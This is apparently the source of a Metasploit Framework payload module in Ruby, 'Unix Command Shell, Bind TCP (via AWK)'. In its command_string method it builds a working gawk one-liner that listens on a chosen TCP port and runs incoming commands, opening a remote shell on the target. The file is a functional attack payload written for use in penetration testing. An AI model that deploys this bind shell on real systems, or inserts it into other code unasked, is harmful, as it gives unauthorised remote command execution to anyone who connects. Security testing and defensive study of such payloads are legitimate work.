metasploit-framework/modules/payloads/singles/cmd/unix/bind_awk.rb

55 lines
1.4 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module MetasploitModule
CachedSize = 96
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Unix Command Shell, Bind TCP (via AWK)',
'Description' => 'Listen for a connection and spawn a command shell via GNU AWK',
'Author' =>
[
'espreto <robertoespreto[at]gmail.com>',
'Ulisses Castro <uss.thebug[at]gmail.com>'
],
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'gawk',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
end
#
# Constructs the payload
#
def generate
return super + command_string
end
#
# Returns the command string to use for execution
#
def command_string
"awk 'BEGIN{s=\"/inet/tcp/#{datastore['LPORT']}/0/0\";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'"
end
end